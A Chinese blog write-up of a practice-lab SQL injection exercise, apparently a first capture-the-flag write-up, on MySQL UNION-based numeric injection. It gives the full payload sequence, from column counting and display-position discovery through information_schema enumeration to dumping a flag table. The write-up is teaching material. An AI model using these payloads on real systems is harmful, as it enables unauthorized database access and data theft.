安鸾渗透实战平台|SQL数字型注入详细教程

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

前言

主要是针对于Mysql 5.0版本即以上的sql注入漏洞的利用


需要了解的知识包括
1、mysql数据库的基本查询语句格式
2、mysql数据库版本的不同产生的具体变化
3、group_cat、binary函数的含义及使用
4、常用注入语句及原理

一、Mysql默认的information库基本结构

1.schemata表内容

	该表记录数据库内全部的库名称,并且不重复。此处重点使用**Schema_name**

2.tables表内容

该表记录数据库内的库民、表名、字段,内容存在重复。此处重点使用**table_name**

3.columns表内容

该表记录数据库库名、表名、字段名,一一对应。此处重点使用Column_name

二、渗透靶场地址

http://47.103.94.191:8034/

三、mysql渗透步骤

1.进入靶场,查看页面基本信息

在这里插入图片描述

2.判断是否存在注入

通过注入变量 id=1‘#
通过变量的注入测试可发现该网页后台是mysql并且存在sql注入

3.判断是否存在 符号过滤

具体方法则通过符号注入测试是否能正常回显页面,不能则可能存在符号过滤

例如: id=1 ’ and 1=1 可判断是否存在 “=”过滤,若存在可使用like语句绕过

4.判断数据库字段列名数量

使用order by语句连续查出字段列名数量。
表示通过第一字段的顺序进行排序,当输入order by x报错时,就说明没有这个字段,就可以得到输出的字段数了
–查询字段列列名数量为14

结果为:
在这里插入图片描述

5.使用联合查询判断显位点

 -1'  union select 1,2,3 ,4,5,6,7,8,9,10,11,12,13,14 #

结果为:
在这里插入图片描述
通过语句判错的方式找到显位点为3,9

6.基本信息收集

基本信息收集
服务器系统:@@version_compile_os语句------linux-glibc2.12
当前数据库用户:user()语句------------------------test@192.168.96.2
数据库版本型号:version()语句---------------------5.5.62
数据库名:database()语句--------------------------- cms

 **1'  union select 1,2,version(),4,5,6,7,8,database(),10,11,12,13,14 #**

结果为:
在这里插入图片描述

7.查询指定数据(cms)库下所有的表名

根据Mysql数据结构层级逐一从数据库–>表名–>字段名–>具体信息的顺序获取信息
注意:Mysql数据库5.0及以上版本存在information库,其中包括三个重要的表,分别为information.schema.schematainfromation.schema.tablesinfromation.schema.columns分别记录了数据库类的所有库名、表名和字段名

**1' union select 1,2,binary(group_concat(table_name)),4,5,6,7,8,9,10,11,12,13,14  from information_schema.tables where table_schema like 'cms'#**

结果为:
在这里插入图片描述

8.查询指定表明下的所有字段名

根据第六步查询到的所有表名,查询所有字段名

**1'  union select 1,2,binary(group_concat(column_name)),4,5,6,7,8,9,10,11,12,13,14 from information_schema.columns where table_name like 'this_is_flag'#**

结果为:
在这里插入图片描述

9.查询具体信息

根据第七部查询的所有字段名获取具体信息

1'  union select 1,2,binary(id),4,5,6,7,8,binary(flag),10,11,12,13,14 from this_is_flag#

结果为:
在这里插入图片描述

四、总结

提示:这里对文章进行总结:
第一次写write up,不足之处还请各位大佬批评指出。本次sql注入很轻松完成,最后注意查询具体信息时语句为:

1'  union select 1,2,binary(id),4,5,6,7,8,binary(flag),10,11,12,13,14 from this_is_flag#

为什么不是’this_is_flag’而是this_is_flag?值得思考

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值